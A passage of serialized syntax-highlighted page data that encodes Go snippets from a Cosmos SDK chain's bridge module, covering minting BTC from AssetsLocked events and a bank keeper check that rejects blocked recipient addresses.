",{"type":21,"tag":198,"props":82077,"children":82078},{"style":683},[82079],{"type":27,"value":5383},{"type":21,"tag":198,"props":82081,"children":82082},{"style":1966},[82083],{"type":27,"value":82084},"PreBlockHandler",{"type":21,"tag":198,"props":82086,"children":82087},{"style":211},[82088],{"type":27,"value":1541},{"type":21,"tag":198,"props":82090,"children":82091},{"style":698},[82092],{"type":27,"value":81785},{"type":21,"tag":198,"props":82094,"children":82095},{"style":211},[82096],{"type":27,"value":14850},{"type":21,"tag":198,"props":82098,"children":82099},{"style":1966},[82100],{"type":27,"value":79112},{"type":21,"tag":198,"props":82102,"children":82103},{"style":211},[82104],{"type":27,"value":658},{"type":21,"tag":198,"props":82106,"children":82107},{"style":1966},[82108],{"type":27,"value":81785},{"type":21,"tag":198,"props":82110,"children":82111},{"style":211},[82112],{"type":27,"value":233},{"type":21,"tag":198,"props":82114,"children":82115},{"class":200,"line":217},[82116,82120,82124],{"type":21,"tag":198,"props":82117,"children":82118},{"style":640},[82119],{"type":27,"value":1478},{"type":21,"tag":198,"props":82121,"children":82122},{"style":249},[82123],{"type":27,"value":80391},{"type":21,"tag":198,"props":82125,"children":82126},{"style":211},[82127],{"type":27,"value":4268},{"type":21,"tag":198,"props":82129,"children":82130},{"class":200,"line":236},[82131,82135,82139,82143,82147],{"type":21,"tag":198,"props":82132,"children":82133},{"style":226},[82134],{"type":27,"value":26990},{"type":21,"tag":198,"props":82136,"children":82137},{"style":1966},[82138],{"type":27,"value":79023},{"type":21,"tag":198,"props":82140,"children":82141},{"style":211},[82142],{"type":27,"value":658},{"type":21,"tag":198,"props":82144,"children":82145},{"style":1966},[82146],{"type":27,"value":76731},{"type":21,"tag":198,"props":82148,"children":82149},{"style":211},[82150],{"type":27,"value":257},{"type":21,"tag":198,"props":82152,"children":82153},{"class":200,"line":260},[82154,82159,82163,82168,82172,82177],{"type":21,"tag":198,"props":82155,"children":82156},{"style":226},[82157],{"type":27,"value":82158}," req",{"type":21,"tag":198,"props":82160,"children":82161},{"style":683},[82162],{"type":27,"value":10626},{"type":21,"tag":198,"props":82164,"children":82165},{"style":1966},[82166],{"type":27,"value":82167},"cmtabci",{"type":21,"tag":198,"props":82169,"children":82170},{"style":211},[82171],{"type":27,"value":658},{"type":21,"tag":198,"props":82173,"children":82174},{"style":1966},[82175],{"type":27,"value":82176},"RequestFinalizeBlock",{"type":21,"tag":198,"props":82178,"children":82179},{"style":211},[82180],{"type":27,"value":257},{"type":21,"tag":198,"props":82182,"children":82183},{"class":200,"line":281},[82184,82188,82192,82196,82200,82205,82209,82213],{"type":21,"tag":198,"props":82185,"children":82186},{"style":211},[82187],{"type":27,"value":80459},{"type":21,"tag":198,"props":82189,"children":82190},{"style":683},[82191],{"type":27,"value":5383},{"type":21,"tag":198,"props":82193,"children":82194},{"style":1966},[82195],{"type":27,"value":79112},{"type":21,"tag":198,"props":82197,"children":82198},{"style":211},[82199],{"type":27,"value":658},{"type":21,"tag":198,"props":82201,"children":82202},{"style":1966},[82203],{"type":27,"value":82204},"ResponsePreBlock",{"type":21,"tag":198,"props":82206,"children":82207},{"style":211},[82208],{"type":27,"value":828},{"type":21,"tag":198,"props":82210,"children":82211},{"style":1966},[82212],{"type":27,"value":15668},{"type":21,"tag":198,"props":82214,"children":82215},{"style":211},[82216],{"type":27,"value":668},{"type":21,"tag":198,"props":82218,"children":82219},{"class":200,"line":302},[82220],{"type":21,"tag":198,"props":82221,"children":82222},{"style":683},[82223],{"type":27,"value":82224}," ...\n",{"type":21,"tag":198,"props":82226,"children":82227},{"class":200,"line":323},[82228,82233,82237,82242,82246,82251,82255,82260,82264,82268,82272,82277],{"type":21,"tag":198,"props":82229,"children":82230},{"style":226},[82231],{"type":27,"value":82232}," err",{"type":21,"tag":198,"props":82234,"children":82235},{"style":683},[82236],{"type":27,"value":76798},{"type":21,"tag":198,"props":82238,"children":82239},{"style":226},[82240],{"type":27,"value":82241}," pbh",{"type":21,"tag":198,"props":82243,"children":82244},{"style":211},[82245],{"type":27,"value":658},{"type":21,"tag":198,"props":82247,"children":82248},{"style":226},[82249],{"type":27,"value":82250},"bridgeKeeper",{"type":21,"tag":198,"props":82252,"children":82253},{"style":211},[82254],{"type":27,"value":658},{"type":21,"tag":198,"props":82256,"children":82257},{"style":698},[82258],{"type":27,"value":82259},"AcceptAssetsLocked",{"type":21,"tag":198,"props":82261,"children":82262},{"style":211},[82263],{"type":27,"value":706},{"type":21,"tag":198,"props":82265,"children":82266},{"style":226},[82267],{"type":27,"value":21075},{"type":21,"tag":198,"props":82269,"children":82270},{"style":211},[82271],{"type":27,"value":828},{"type":21,"tag":198,"props":82273,"children":82274},{"style":226},[82275],{"type":27,"value":82276},"events",{"type":21,"tag":198,"props":82278,"children":82279},{"style":211},[82280],{"type":27,"value":789},{"type":21,"tag":198,"props":82282,"children":82283},{"class":200,"line":344},[82284,82288,82292,82296,82301],{"type":21,"tag":198,"props":82285,"children":82286},{"style":640},[82287],{"type":27,"value":4079},{"type":21,"tag":198,"props":82289,"children":82290},{"style":226},[82291],{"type":27,"value":1611},{"type":21,"tag":198,"props":82293,"children":82294},{"style":683},[82295],{"type":27,"value":64765},{"type":21,"tag":198,"props":82297,"children":82298},{"style":249},[82299],{"type":27,"value":82300}," nil",{"type":21,"tag":198,"props":82302,"children":82303},{"style":211},[82304],{"type":27,"value":233},{"type":21,"tag":198,"props":82306,"children":82307},{"class":200,"line":365},[82308,82312,82316,82320,82325,82329,82334,82338,82343,82347,82351],{"type":21,"tag":198,"props":82309,"children":82310},{"style":640},[82311],{"type":27,"value":79458},{"type":21,"tag":198,"props":82313,"children":82314},{"style":249},[82315],{"type":27,"value":82300},{"type":21,"tag":198,"props":82317,"children":82318},{"style":211},[82319],{"type":27,"value":828},{"type":21,"tag":198,"props":82321,"children":82322},{"style":226},[82323],{"type":27,"value":82324},"fmt",{"type":21,"tag":198,"props":82326,"children":82327},{"style":211},[82328],{"type":27,"value":658},{"type":21,"tag":198,"props":82330,"children":82331},{"style":698},[82332],{"type":27,"value":82333},"Errorf",{"type":21,"tag":198,"props":82335,"children":82336},{"style":211},[82337],{"type":27,"value":706},{"type":21,"tag":198,"props":82339,"children":82340},{"style":205},[82341],{"type":27,"value":82342},"\"cannot accept AssetsLocked events: %w\"",{"type":21,"tag":198,"props":82344,"children":82345},{"style":211},[82346],{"type":27,"value":828},{"type":21,"tag":198,"props":82348,"children":82349},{"style":226},[82350],{"type":27,"value":1507},{"type":21,"tag":198,"props":82352,"children":82353},{"style":211},[82354],{"type":27,"value":789},{"type":21,"tag":198,"props":82356,"children":82357},{"class":200,"line":386},[82358],{"type":21,"tag":198,"props":82359,"children":82360},{"style":211},[82361],{"type":27,"value":1160},{"type":21,"tag":198,"props":82363,"children":82364},{"class":200,"line":408},[82365],{"type":21,"tag":198,"props":82366,"children":82367},{"style":683},[82368],{"type":27,"value":82224},{"type":21,"tag":198,"props":82370,"children":82371},{"class":200,"line":429},[82372],{"type":21,"tag":198,"props":82373,"children":82374},{"style":211},[82375],{"type":27,"value":880},{"type":21,"tag":198,"props":82377,"children":82378},{"class":200,"line":450},[82379],{"type":21,"tag":198,"props":82380,"children":82381},{"style":211},[82382],{"type":27,"value":1120},{"type":21,"tag":198,"props":82384,"children":82385},{"class":200,"line":468},[82386],{"type":21,"tag":198,"props":82387,"children":82388},{"emptyLinePlaceholder":16},[82389],{"type":27,"value":1283},{"type":21,"tag":198,"props":82391,"children":82392},{"class":200,"line":477},[82393,82397,82401,82405,82409,82413,82417],{"type":21,"tag":198,"props":82394,"children":82395},{"style":249},[82396],{"type":27,"value":76682},{"type":21,"tag":198,"props":82398,"children":82399},{"style":211},[82400],{"type":27,"value":648},{"type":21,"tag":198,"props":82402,"children":82403},{"style":226},[82404],{"type":27,"value":81510},{"type":21,"tag":198,"props":82406,"children":82407},{"style":1966},[82408],{"type":27,"value":80327},{"type":21,"tag":198,"props":82410,"children":82411},{"style":211},[82412],{"type":27,"value":1541},{"type":21,"tag":198,"props":82414,"children":82415},{"style":698},[82416],{"type":27,"value":82259},{"type":21,"tag":198,"props":82418,"children":82419},{"style":211},[82420],{"type":27,"value":4268},{"type":21,"tag":198,"props":82422,"children":82423},{"class":200,"line":494},[82424,82428,82432,82436,82440],{"type":21,"tag":198,"props":82425,"children":82426},{"style":226},[82427],{"type":27,"value":21018},{"type":21,"tag":198,"props":82429,"children":82430},{"style":1966},[82431],{"type":27,"value":79023},{"type":21,"tag":198,"props":82433,"children":82434},{"style":211},[82435],{"type":27,"value":658},{"type":21,"tag":198,"props":82437,"children":82438},{"style":1966},[82439],{"type":27,"value":76731},{"type":21,"tag":198,"props":82441,"children":82442},{"style":211},[82443],{"type":27,"value":257},{"type":21,"tag":198,"props":82445,"children":82446},{"class":200,"line":515},[82447,82452,82456,82460,82465],{"type":21,"tag":198,"props":82448,"children":82449},{"style":226},[82450],{"type":27,"value":82451}," events",{"type":21,"tag":198,"props":82453,"children":82454},{"style":1966},[82455],{"type":27,"value":78557},{"type":21,"tag":198,"props":82457,"children":82458},{"style":211},[82459],{"type":27,"value":658},{"type":21,"tag":198,"props":82461,"children":82462},{"style":1966},[82463],{"type":27,"value":82464},"AssetsLockedEvents",{"type":21,"tag":198,"props":82466,"children":82467},{"style":211},[82468],{"type":27,"value":257},{"type":21,"tag":198,"props":82470,"children":82471},{"class":200,"line":4484},[82472,82476,82480],{"type":21,"tag":198,"props":82473,"children":82474},{"style":211},[82475],{"type":27,"value":1541},{"type":21,"tag":198,"props":82477,"children":82478},{"style":1966},[82479],{"type":27,"value":15668},{"type":21,"tag":198,"props":82481,"children":82482},{"style":211},[82483],{"type":27,"value":233},{"type":21,"tag":198,"props":82485,"children":82486},{"class":200,"line":4493},[82487],{"type":21,"tag":198,"props":82488,"children":82489},{"style":683},[82490],{"type":27,"value":21134},{"type":21,"tag":198,"props":82492,"children":82493},{"class":200,"line":4561},[82494,82498,82502,82506,82511,82515,82519,82524],{"type":21,"tag":198,"props":82495,"children":82496},{"style":640},[82497],{"type":27,"value":3840},{"type":21,"tag":198,"props":82499,"children":82500},{"style":226},[82501],{"type":27,"value":3845},{"type":21,"tag":198,"props":82503,"children":82504},{"style":211},[82505],{"type":27,"value":828},{"type":21,"tag":198,"props":82507,"children":82508},{"style":226},[82509],{"type":27,"value":82510},"event",{"type":21,"tag":198,"props":82512,"children":82513},{"style":683},[82514],{"type":27,"value":76798},{"type":21,"tag":198,"props":82516,"children":82517},{"style":640},[82518],{"type":27,"value":77781},{"type":21,"tag":198,"props":82520,"children":82521},{"style":226},[82522],{"type":27,"value":82523}," events",{"type":21,"tag":198,"props":82525,"children":82526},{"style":211},[82527],{"type":27,"value":233},{"type":21,"tag":198,"props":82529,"children":82530},{"class":200,"line":4569},[82531,82536,82540,82544,82548,82552,82556,82561,82565,82569,82573,82578],{"type":21,"tag":198,"props":82532,"children":82533},{"style":226},[82534],{"type":27,"value":82535}," recipient",{"type":21,"tag":198,"props":82537,"children":82538},{"style":211},[82539],{"type":27,"value":828},{"type":21,"tag":198,"props":82541,"children":82542},{"style":226},[82543],{"type":27,"value":1507},{"type":21,"tag":198,"props":82545,"children":82546},{"style":683},[82547],{"type":27,"value":76798},{"type":21,"tag":198,"props":82549,"children":82550},{"style":226},[82551],{"type":27,"value":79023},{"type":21,"tag":198,"props":82553,"children":82554},{"style":211},[82555],{"type":27,"value":658},{"type":21,"tag":198,"props":82557,"children":82558},{"style":698},[82559],{"type":27,"value":82560},"AccAddressFromBech32",{"type":21,"tag":198,"props":82562,"children":82563},{"style":211},[82564],{"type":27,"value":706},{"type":21,"tag":198,"props":82566,"children":82567},{"style":226},[82568],{"type":27,"value":82510},{"type":21,"tag":198,"props":82570,"children":82571},{"style":211},[82572],{"type":27,"value":658},{"type":21,"tag":198,"props":82574,"children":82575},{"style":226},[82576],{"type":27,"value":82577},"Recipient",{"type":21,"tag":198,"props":82579,"children":82580},{"style":211},[82581],{"type":27,"value":789},{"type":21,"tag":198,"props":82583,"children":82584},{"class":200,"line":4599},[82585,82589,82593,82597,82601],{"type":21,"tag":198,"props":82586,"children":82587},{"style":640},[82588],{"type":27,"value":4079},{"type":21,"tag":198,"props":82590,"children":82591},{"style":226},[82592],{"type":27,"value":1611},{"type":21,"tag":198,"props":82594,"children":82595},{"style":683},[82596],{"type":27,"value":64765},{"type":21,"tag":198,"props":82598,"children":82599},{"style":249},[82600],{"type":27,"value":82300},{"type":21,"tag":198,"props":82602,"children":82603},{"style":211},[82604],{"type":27,"value":233},{"type":21,"tag":198,"props":82606,"children":82607},{"class":200,"line":4607},[82608,82612,82617,82621,82625,82629,82634,82638,82642],{"type":21,"tag":198,"props":82609,"children":82610},{"style":640},[82611],{"type":27,"value":79458},{"type":21,"tag":198,"props":82613,"children":82614},{"style":226},[82615],{"type":27,"value":82616}," fmt",{"type":21,"tag":198,"props":82618,"children":82619},{"style":211},[82620],{"type":27,"value":658},{"type":21,"tag":198,"props":82622,"children":82623},{"style":698},[82624],{"type":27,"value":82333},{"type":21,"tag":198,"props":82626,"children":82627},{"style":211},[82628],{"type":27,"value":706},{"type":21,"tag":198,"props":82630,"children":82631},{"style":205},[82632],{"type":27,"value":82633},"\"failed to parse recipient address: %w\"",{"type":21,"tag":198,"props":82635,"children":82636},{"style":211},[82637],{"type":27,"value":828},{"type":21,"tag":198,"props":82639,"children":82640},{"style":226},[82641],{"type":27,"value":1507},{"type":21,"tag":198,"props":82643,"children":82644},{"style":211},[82645],{"type":27,"value":789},{"type":21,"tag":198,"props":82647,"children":82648},{"class":200,"line":4638},[82649],{"type":21,"tag":198,"props":82650,"children":82651},{"style":211},[82652],{"type":27,"value":1160},{"type":21,"tag":198,"props":82654,"children":82655},{"class":200,"line":4646},[82656],{"type":21,"tag":198,"props":82657,"children":82658},{"emptyLinePlaceholder":16},[82659],{"type":27,"value":1283},{"type":21,"tag":198,"props":82661,"children":82662},{"class":200,"line":4706},[82663,82667,82672,82676,82681,82685,82689,82693,82698,82702,82707],{"type":21,"tag":198,"props":82664,"children":82665},{"style":640},[82666],{"type":27,"value":4079},{"type":21,"tag":198,"props":82668,"children":82669},{"style":226},[82670],{"type":27,"value":82671}," bytes",{"type":21,"tag":198,"props":82673,"children":82674},{"style":211},[82675],{"type":27,"value":658},{"type":21,"tag":198,"props":82677,"children":82678},{"style":698},[82679],{"type":27,"value":82680},"Equal",{"type":21,"tag":198,"props":82682,"children":82683},{"style":211},[82684],{"type":27,"value":706},{"type":21,"tag":198,"props":82686,"children":82687},{"style":226},[82688],{"type":27,"value":82510},{"type":21,"tag":198,"props":82690,"children":82691},{"style":211},[82692],{"type":27,"value":658},{"type":21,"tag":198,"props":82694,"children":82695},{"style":698},[82696],{"type":27,"value":82697},"TokenBytes",{"type":21,"tag":198,"props":82699,"children":82700},{"style":211},[82701],{"type":27,"value":19178},{"type":21,"tag":198,"props":82703,"children":82704},{"style":226},[82705],{"type":27,"value":82706},"sourceBTCToken",{"type":21,"tag":198,"props":82708,"children":82709},{"style":211},[82710],{"type":27,"value":668},{"type":21,"tag":198,"props":82712,"children":82713},{"class":200,"line":9857},[82714,82719,82723,82727,82731,82736,82740,82744,82748,82752,82756,82760,82764,82768],{"type":21,"tag":198,"props":82715,"children":82716},{"style":226},[82717],{"type":27,"value":82718}," err",{"type":21,"tag":198,"props":82720,"children":82721},{"style":683},[82722],{"type":27,"value":979},{"type":21,"tag":198,"props":82724,"children":82725},{"style":226},[82726],{"type":27,"value":81638},{"type":21,"tag":198,"props":82728,"children":82729},{"style":211},[82730],{"type":27,"value":658},{"type":21,"tag":198,"props":82732,"children":82733},{"style":698},[82734],{"type":27,"value":82735},"mintBTC",{"type":21,"tag":198,"props":82737,"children":82738},{"style":211},[82739],{"type":27,"value":706},{"type":21,"tag":198,"props":82741,"children":82742},{"style":226},[82743],{"type":27,"value":21075},{"type":21,"tag":198,"props":82745,"children":82746},{"style":211},[82747],{"type":27,"value":828},{"type":21,"tag":198,"props":82749,"children":82750},{"style":226},[82751],{"type":27,"value":82033},{"type":21,"tag":198,"props":82753,"children":82754},{"style":211},[82755],{"type":27,"value":828},{"type":21,"tag":198,"props":82757,"children":82758},{"style":226},[82759],{"type":27,"value":82510},{"type":21,"tag":198,"props":82761,"children":82762},{"style":211},[82763],{"type":27,"value":658},{"type":21,"tag":198,"props":82765,"children":82766},{"style":226},[82767],{"type":27,"value":79437},{"type":21,"tag":198,"props":82769,"children":82770},{"style":211},[82771],{"type":27,"value":789},{"type":21,"tag":198,"props":82773,"children":82774},{"class":200,"line":9875},[82775,82779,82783,82787,82791],{"type":21,"tag":198,"props":82776,"children":82777},{"style":640},[82778],{"type":27,"value":59178},{"type":21,"tag":198,"props":82780,"children":82781},{"style":226},[82782],{"type":27,"value":1611},{"type":21,"tag":198,"props":82784,"children":82785},{"style":683},[82786],{"type":27,"value":64765},{"type":21,"tag":198,"props":82788,"children":82789},{"style":249},[82790],{"type":27,"value":82300},{"type":21,"tag":198,"props":82792,"children":82793},{"style":211},[82794],{"type":27,"value":233},{"type":21,"tag":198,"props":82796,"children":82797},{"class":200,"line":9920},[82798,82802,82806,82810,82814],{"type":21,"tag":198,"props":82799,"children":82800},{"style":640},[82801],{"type":27,"value":61106},{"type":21,"tag":198,"props":82803,"children":82804},{"style":226},[82805],{"type":27,"value":82616},{"type":21,"tag":198,"props":82807,"children":82808},{"style":211},[82809],{"type":27,"value":658},{"type":21,"tag":198,"props":82811,"children":82812},{"style":698},[82813],{"type":27,"value":82333},{"type":21,"tag":198,"props":82815,"children":82816},{"style":211},[82817],{"type":27,"value":4268},{"type":21,"tag":198,"props":82819,"children":82820},{"class":200,"line":10026},[82821,82826],{"type":21,"tag":198,"props":82822,"children":82823},{"style":205},[82824],{"type":27,"value":82825}," \"failed to mint BTC for event %v: %w\"",{"type":21,"tag":198,"props":82827,"children":82828},{"style":211},[82829],{"type":27,"value":257},{"type":21,"tag":198,"props":82831,"children":82832},{"class":200,"line":24302},[82833,82838,82842,82847],{"type":21,"tag":198,"props":82834,"children":82835},{"style":226},[82836],{"type":27,"value":82837}," event",{"type":21,"tag":198,"props":82839,"children":82840},{"style":211},[82841],{"type":27,"value":658},{"type":21,"tag":198,"props":82843,"children":82844},{"style":226},[82845],{"type":27,"value":82846},"Sequence",{"type":21,"tag":198,"props":82848,"children":82849},{"style":211},[82850],{"type":27,"value":257},{"type":21,"tag":198,"props":82852,"children":82853},{"class":200,"line":24337},[82854,82859],{"type":21,"tag":198,"props":82855,"children":82856},{"style":226},[82857],{"type":27,"value":82858}," err",{"type":21,"tag":198,"props":82860,"children":82861},{"style":211},[82862],{"type":27,"value":257},{"type":21,"tag":198,"props":82864,"children":82865},{"class":200,"line":24345},[82866],{"type":21,"tag":198,"props":82867,"children":82868},{"style":211},[82869],{"type":27,"value":82870}," )\n",{"type":21,"tag":198,"props":82872,"children":82873},{"class":200,"line":24353},[82874],{"type":21,"tag":198,"props":82875,"children":82876},{"style":211},[82877],{"type":27,"value":59262},{"type":21,"tag":198,"props":82879,"children":82880},{"class":200,"line":24362},[82881,82885,82889],{"type":21,"tag":198,"props":82882,"children":82883},{"style":211},[82884],{"type":27,"value":4117},{"type":21,"tag":198,"props":82886,"children":82887},{"style":640},[82888],{"type":27,"value":4122},{"type":21,"tag":198,"props":82890,"children":82891},{"style":211},[82892],{"type":27,"value":233},{"type":21,"tag":198,"props":82894,"children":82895},{"class":200,"line":24404},[82896],{"type":21,"tag":198,"props":82897,"children":82898},{"style":683},[82899],{"type":27,"value":82900}," ...\n",{"type":21,"tag":198,"props":82902,"children":82903},{"class":200,"line":24437},[82904],{"type":21,"tag":198,"props":82905,"children":82906},{"style":211},[82907],{"type":27,"value":1160},{"type":21,"tag":198,"props":82909,"children":82910},{"class":200,"line":24445},[82911],{"type":21,"tag":198,"props":82912,"children":82913},{"style":211},[82914],{"type":27,"value":880},{"type":21,"tag":198,"props":82916,"children":82917},{"class":200,"line":24453},[82918],{"type":21,"tag":198,"props":82919,"children":82920},{"style":683},[82921],{"type":27,"value":21134},{"type":21,"tag":198,"props":82923,"children":82924},{"class":200,"line":24462},[82925],{"type":21,"tag":198,"props":82926,"children":82927},{"style":211},[82928],{"type":27,"value":1120},{"type":21,"tag":198,"props":82930,"children":82931},{"class":200,"line":24538},[82932],{"type":21,"tag":198,"props":82933,"children":82934},{"emptyLinePlaceholder":16},[82935],{"type":27,"value":1283},{"type":21,"tag":198,"props":82937,"children":82938},{"class":200,"line":24571},[82939,82943,82947,82951,82955,82959,82963],{"type":21,"tag":198,"props":82940,"children":82941},{"style":249},[82942],{"type":27,"value":76682},{"type":21,"tag":198,"props":82944,"children":82945},{"style":211},[82946],{"type":27,"value":648},{"type":21,"tag":198,"props":82948,"children":82949},{"style":226},[82950],{"type":27,"value":81510},{"type":21,"tag":198,"props":82952,"children":82953},{"style":1966},[82954],{"type":27,"value":80327},{"type":21,"tag":198,"props":82956,"children":82957},{"style":211},[82958],{"type":27,"value":1541},{"type":21,"tag":198,"props":82960,"children":82961},{"style":698},[82962],{"type":27,"value":82735},{"type":21,"tag":198,"props":82964,"children":82965},{"style":211},[82966],{"type":27,"value":4268},{"type":21,"tag":198,"props":82968,"children":82969},{"class":200,"line":24579},[82970,82974,82978,82982,82986],{"type":21,"tag":198,"props":82971,"children":82972},{"style":226},[82973],{"type":27,"value":21018},{"type":21,"tag":198,"props":82975,"children":82976},{"style":1966},[82977],{"type":27,"value":79023},{"type":21,"tag":198,"props":82979,"children":82980},{"style":211},[82981],{"type":27,"value":658},{"type":21,"tag":198,"props":82983,"children":82984},{"style":1966},[82985],{"type":27,"value":76731},{"type":21,"tag":198,"props":82987,"children":82988},{"style":211},[82989],{"type":27,"value":257},{"type":21,"tag":198,"props":82991,"children":82992},{"class":200,"line":24587},[82993,82998,83002,83006,83011],{"type":21,"tag":198,"props":82994,"children":82995},{"style":226},[82996],{"type":27,"value":82997}," recipient",{"type":21,"tag":198,"props":82999,"children":83000},{"style":1966},[83001],{"type":27,"value":79023},{"type":21,"tag":198,"props":83003,"children":83004},{"style":211},[83005],{"type":27,"value":658},{"type":21,"tag":198,"props":83007,"children":83008},{"style":1966},[83009],{"type":27,"value":83010},"AccAddress",{"type":21,"tag":198,"props":83012,"children":83013},{"style":211},[83014],{"type":27,"value":257},{"type":21,"tag":198,"props":83016,"children":83017},{"class":200,"line":24624},[83018,83022,83027,83031,83036],{"type":21,"tag":198,"props":83019,"children":83020},{"style":226},[83021],{"type":27,"value":61960},{"type":21,"tag":198,"props":83023,"children":83024},{"style":1966},[83025],{"type":27,"value":83026}," math",{"type":21,"tag":198,"props":83028,"children":83029},{"style":211},[83030],{"type":27,"value":658},{"type":21,"tag":198,"props":83032,"children":83033},{"style":1966},[83034],{"type":27,"value":83035},"Int",{"type":21,"tag":198,"props":83037,"children":83038},{"style":211},[83039],{"type":27,"value":257},{"type":21,"tag":198,"props":83041,"children":83042},{"class":200,"line":24637},[83043,83047,83051],{"type":21,"tag":198,"props":83044,"children":83045},{"style":211},[83046],{"type":27,"value":1541},{"type":21,"tag":198,"props":83048,"children":83049},{"style":1966},[83050],{"type":27,"value":15668},{"type":21,"tag":198,"props":83052,"children":83053},{"style":211},[83054],{"type":27,"value":233},{"type":21,"tag":198,"props":83056,"children":83057},{"class":200,"line":24650},[83058],{"type":21,"tag":198,"props":83059,"children":83060},{"style":683},[83061],{"type":27,"value":21134},{"type":21,"tag":198,"props":83063,"children":83064},{"class":200,"line":24663},[83065,83070,83074,83078,83082,83087,83091,83095],{"type":21,"tag":198,"props":83066,"children":83067},{"style":226},[83068],{"type":27,"value":83069}," err",{"type":21,"tag":198,"props":83071,"children":83072},{"style":683},[83073],{"type":27,"value":979},{"type":21,"tag":198,"props":83075,"children":83076},{"style":226},[83077],{"type":27,"value":81638},{"type":21,"tag":198,"props":83079,"children":83080},{"style":211},[83081],{"type":27,"value":658},{"type":21,"tag":198,"props":83083,"children":83084},{"style":226},[83085],{"type":27,"value":83086},"bankKeeper",{"type":21,"tag":198,"props":83088,"children":83089},{"style":211},[83090],{"type":27,"value":658},{"type":21,"tag":198,"props":83092,"children":83093},{"style":698},[83094],{"type":27,"value":82025},{"type":21,"tag":198,"props":83096,"children":83097},{"style":211},[83098],{"type":27,"value":4268},{"type":21,"tag":198,"props":83100,"children":83101},{"class":200,"line":24717},[83102,83106],{"type":21,"tag":198,"props":83103,"children":83104},{"style":226},[83105],{"type":27,"value":26990},{"type":21,"tag":198,"props":83107,"children":83108},{"style":211},[83109],{"type":27,"value":257},{"type":21,"tag":198,"props":83111,"children":83112},{"class":200,"line":24726},[83113,83118,83122,83127],{"type":21,"tag":198,"props":83114,"children":83115},{"style":226},[83116],{"type":27,"value":83117}," types",{"type":21,"tag":198,"props":83119,"children":83120},{"style":211},[83121],{"type":27,"value":658},{"type":21,"tag":198,"props":83123,"children":83124},{"style":226},[83125],{"type":27,"value":83126},"ModuleName",{"type":21,"tag":198,"props":83128,"children":83129},{"style":211},[83130],{"type":27,"value":257},{"type":21,"tag":198,"props":83132,"children":83133},{"class":200,"line":33067},[83134,83138],{"type":21,"tag":198,"props":83135,"children":83136},{"style":226},[83137],{"type":27,"value":82535},{"type":21,"tag":198,"props":83139,"children":83140},{"style":211},[83141],{"type":27,"value":257},{"type":21,"tag":198,"props":83143,"children":83144},{"class":200,"line":33088},[83145,83150],{"type":21,"tag":198,"props":83146,"children":83147},{"style":226},[83148],{"type":27,"value":83149}," coins",{"type":21,"tag":198,"props":83151,"children":83152},{"style":211},[83153],{"type":27,"value":257},{"type":21,"tag":198,"props":83155,"children":83156},{"class":200,"line":81333},[83157],{"type":21,"tag":198,"props":83158,"children":83159},{"style":211},[83160],{"type":27,"value":24723},{"type":21,"tag":198,"props":83162,"children":83163},{"class":200,"line":81346},[83164,83168,83172,83176,83180],{"type":21,"tag":198,"props":83165,"children":83166},{"style":640},[83167],{"type":27,"value":643},{"type":21,"tag":198,"props":83169,"children":83170},{"style":226},[83171],{"type":27,"value":1611},{"type":21,"tag":198,"props":83173,"children":83174},{"style":683},[83175],{"type":27,"value":64765},{"type":21,"tag":198,"props":83177,"children":83178},{"style":249},[83179],{"type":27,"value":82300},{"type":21,"tag":198,"props":83181,"children":83182},{"style":211},[83183],{"type":27,"value":233},{"type":21,"tag":198,"props":83185,"children":83186},{"class":200,"line":81354},[83187,83191,83195,83199,83203,83207,83212,83216,83220],{"type":21,"tag":198,"props":83188,"children":83189},{"style":640},[83190],{"type":27,"value":16547},{"type":21,"tag":198,"props":83192,"children":83193},{"style":226},[83194],{"type":27,"value":82616},{"type":21,"tag":198,"props":83196,"children":83197},{"style":211},[83198],{"type":27,"value":658},{"type":21,"tag":198,"props":83200,"children":83201},{"style":698},[83202],{"type":27,"value":82333},{"type":21,"tag":198,"props":83204,"children":83205},{"style":211},[83206],{"type":27,"value":706},{"type":21,"tag":198,"props":83208,"children":83209},{"style":205},[83210],{"type":27,"value":83211},"\"failed to send coins: %w\"",{"type":21,"tag":198,"props":83213,"children":83214},{"style":211},[83215],{"type":27,"value":828},{"type":21,"tag":198,"props":83217,"children":83218},{"style":226},[83219],{"type":27,"value":1507},{"type":21,"tag":198,"props":83221,"children":83222},{"style":211},[83223],{"type":27,"value":789},{"type":21,"tag":198,"props":83225,"children":83226},{"class":200,"line":81362},[83227],{"type":21,"tag":198,"props":83228,"children":83229},{"style":211},[83230],{"type":27,"value":880},{"type":21,"tag":198,"props":83232,"children":83233},{"class":200,"line":81370},[83234],{"type":21,"tag":198,"props":83235,"children":83236},{"style":683},[83237],{"type":27,"value":21134},{"type":21,"tag":198,"props":83239,"children":83240},{"class":200,"line":81410},[83241],{"type":21,"tag":198,"props":83242,"children":83243},{"style":211},[83244],{"type":27,"value":1120},{"type":21,"tag":187,"props":83246,"children":83248},{"code":83247,"language":76546,"meta":7,"className":76547,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[83249],{"type":21,"tag":194,"props":83250,"children":83251},{"__ignoreMap":7},[83252,83284,83363,83378,83386,83417,83475,83482,83489],{"type":21,"tag":198,"props":83253,"children":83254},{"class":200,"line":201},[83255,83259,83263,83267,83272,83276,83280],{"type":21,"tag":198,"props":83256,"children":83257},{"style":249},[83258],{"type":27,"value":76682},{"type":21,"tag":198,"props":83260,"children":83261},{"style":211},[83262],{"type":27,"value":648},{"type":21,"tag":198,"props":83264,"children":83265},{"style":226},[83266],{"type":27,"value":81510},{"type":21,"tag":198,"props":83268,"children":83269},{"style":1966},[83270],{"type":27,"value":83271},"BaseKeeper",{"type":21,"tag":198,"props":83273,"children":83274},{"style":211},[83275],{"type":27,"value":1541},{"type":21,"tag":198,"props":83277,"children":83278},{"style":698},[83279],{"type":27,"value":82025},{"type":21,"tag":198,"props":83281,"children":83282},{"style":211},[83283],{"type":27,"value":4268},{"type":21,"tag":198,"props":83285,"children":83286},{"class":200,"line":217},[83287,83291,83295,83299,83303,83307,83312,83316,83320,83325,83329,83333,83337,83341,83346,83350,83354,83359],{"type":21,"tag":198,"props":83288,"children":83289},{"style":226},[83290],{"type":27,"value":26647},{"type":21,"tag":198,"props":83292,"children":83293},{"style":1966},[83294],{"type":27,"value":76722},{"type":21,"tag":198,"props":83296,"children":83297},{"style":211},[83298],{"type":27,"value":658},{"type":21,"tag":198,"props":83300,"children":83301},{"style":1966},[83302],{"type":27,"value":76731},{"type":21,"tag":198,"props":833